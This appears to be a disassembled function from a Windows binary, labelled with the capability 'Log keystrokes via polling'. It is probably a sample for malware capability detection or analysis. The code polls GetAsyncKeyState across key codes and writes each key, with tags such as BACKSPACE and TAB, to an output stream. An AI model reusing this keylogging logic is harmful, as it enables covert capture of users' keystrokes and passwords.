Function at 0x401400
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405417
mov eax, dword fs:[0]
push eax
sub esp, 0xcc
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb0
lea eax, [ebp - 0xc0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0xc0]
call fcn.00403370
mov dword [ebp - 4], 0
cmp dword [ebp - 0x70], 0
jne 0x401481
lea ecx, [ebp - 0xc0]
call fcn.00401800
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404556
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ebx, 8
nop dword [eax]
push ebx
call edi
test ax, ax
jns 0x4017c4
cmp byte [ebx + 0x409620], 0
jne 0x4017c4
mov byte [ebx + 0x409620], 1
cmp ebx, 8
jne 0x40154a
push str._BACKSPACE_
lea ecx, [ebp - 0xd8]
call fcn.00403560
mov byte [ebp - 4], 1
lea edx, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0xf
lea ecx, [ebp - 0xc0]
push dword [ebp - 0xc8]
cmova edx, dword [ebp - 0xd8]
call fcn.004042e0
add esp, 4
mov ecx, eax
push 0x403bf0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0xf
jbe 0x4017db
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40153a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ed
push ecx
push edx
call fcn.00404791
add esp, 8
inc ebx
jmp 0x401490
cmp ebx, 0xd
jne 0x4015e4
push 0x406344
lea ecx, [ebp - 0xd8]
call fcn.00403560
mov byte [ebp - 4], 2
lea edx, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0xf
lea ecx, [ebp - 0xc0]
push dword [ebp - 0xc8]
cmova edx, dword [ebp - 0xd8]
call fcn.004042e0
add esp, 4
mov ecx, eax
push 0x403bf0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0xf
jbe 0x4017db
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4015d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ed
push ecx
push edx
call fcn.00404791
add esp, 8
inc ebx
jmp 0x401490
cmp ebx, 0x20
jne 0x40167e
push 0x406348
lea ecx, [ebp - 0xd8]
call fcn.00403560
mov byte [ebp - 4], 3
lea edx, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0xf
lea ecx, [ebp - 0xc0]
push dword [ebp - 0xc8]
cmova edx, dword [ebp - 0xd8]
call fcn.004042e0
add esp, 4
mov ecx, eax
push 0x403bf0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0xf
jbe 0x4017db
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40166e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ed
push ecx
push edx
call fcn.00404791
add esp, 8
inc ebx
jmp 0x401490
cmp ebx, 9
jne 0x401718
push str._TAB_
lea ecx, [ebp - 0xd8]
call fcn.00403560
mov byte [ebp - 4], 4
lea edx, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0xf
lea ecx, [ebp - 0xc0]
push dword [ebp - 0xc8]
cmova edx, dword [ebp - 0xd8]
call fcn.004042e0
add esp, 4
mov ecx, eax
push 0x403bf0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0xf
jbe 0x4017db
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401708
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ed
push ecx
push edx
call fcn.00404791
add esp, 8
inc ebx
jmp 0x401490
lea eax, [ebx - 0x20]
cmp eax, 0x5e
ja 0x40173f
mov dl, bl
lea ecx, [ebp - 0xc0]
call fcn.004039d0
push 0x403bf0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x4017db
push str._OTHER_
lea ecx, [ebp - 0xd8]
call fcn.00403560
mov byte [ebp - 4], 5
lea edx, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0xf
lea ecx, [ebp - 0xc0]
push dword [ebp - 0xc8]
cmova edx, dword [ebp - 0xd8]
call fcn.004042e0
add esp, 4
mov ecx, eax
push 0x403bf0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0xf
jbe 0x4017db
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4017b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ed
push ecx
push edx
call fcn.00404791
add esp, 8
jmp 0x4017db
push ebx
call edi
test ax, ax
js 0x4017db
cmp ebx, 0x100
jae 0x4017f3
mov byte [ebx + 0x409620], 0
inc ebx
cmp ebx, 0xff
jle 0x401490
jmp 0x401487
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.00404686
int3